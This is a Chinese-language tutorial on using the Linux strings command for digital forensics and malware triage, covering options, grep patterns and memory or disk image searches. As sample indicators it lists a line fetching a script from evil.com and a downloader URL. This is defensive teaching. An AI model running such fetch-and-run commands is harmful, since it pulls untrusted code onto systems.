温馨提示×

如何用linux strings做取证

小樊
41
2026-09-02 10:58:04
栏目: 智能运维

在 Linux 取证(数字取证 / 恶意软件分析 / 日志与文件分析)中,strings 是一个非常基础但非常实用的命令,用来从二进制文件或内存镜像中提取可打印字符串,从而发现线索。

下面从 基本用法 → 取证场景 → 实战技巧 → 注意事项 系统讲一下。


一、strings 基本用法

1. 基本命令

strings file

提取 file 中所有可打印字符(默认长度 ≥ 4)

2. 指定最小字符串长度

strings -n 6 file

只输出长度 ≥ 6 的字符串(减少噪音)

3. 显示字符串偏移(非常重要)

strings -t x file     # 十六进制偏移
strings -t d file     # 十进制偏移

✅ 取证常用,方便定位字符串在文件中的位置


二、常见取证应用场景

场景 1:分析可疑二进制文件

strings suspicious.bin

常见线索:

  • IP / 域名
  • URL
  • 命令字符串
  • 加密/编码特征
  • 作者信息、编译路径

示例:

/etc/passwd
wget http://evil.com/x.sh
/bin/sh

场景 2:提取恶意样本中的 C2 信息

strings -n 8 malware.exe | grep -E "http|ip|domain"

或结合正则:

strings malware | grep -Eo "([0-9]{1,3}\.){3}[0-9]{1,3}"

场景 3:内存镜像 / 磁盘镜像取证

strings memory.dump | grep -i password
strings disk.img | grep -i "username"

常用于:

  • 密码明文
  • 聊天记录
  • 浏览器历史
  • 临时文件内容

场景 4:日志 / 配置文件恢复

strings deleted.log

即使文件被删除,只要数据未覆盖,strings 仍可提取。


三、提升取证效率的技巧

1. 结合 grep / awk

strings file | grep -i "ssh\|ftp\|password"

2. 输出到文件

strings -n 6 binary > strings.txt

3. 指定字符集(中文取证)

strings -e l file   # 16-bit little endian
strings -e b file   # 16-bit big endian

适用于:

  • Windows 中文路径
  • UTF-16 编码字符串

4. 配合 file / hexdump

file unknown
hexdump -C unknown | head
strings unknown

形成完整分析链。


四、真实取证案例示例

案例:分析一个可疑脚本下载器

strings evil.elf | grep -i "http"

输出:

http://203.0.113.5/update.sh

再反查:

whois 203.0.113.5

五、strings 的局限(非常重要)

❌ 不能:

  • 解密加密内容
  • 还原结构信息
  • 替代专业取证工具

✅ 更适合:

  • 初步侦察
  • 线索发现
  • 快速筛查

六、推荐取证工具组合

strings + grep
strings + binwalk
strings + foremost
strings + volatility(内存)

如果你愿意,我可以:

  • 给你一个 真实恶意样本 strings 分析示例
  • 教你 用 strings 做 CTF 取证题
  • 或针对 Windows / Linux / 内存镜像 分别讲

你现在是做 安全分析 / CTF / 实战取证 哪一类?

0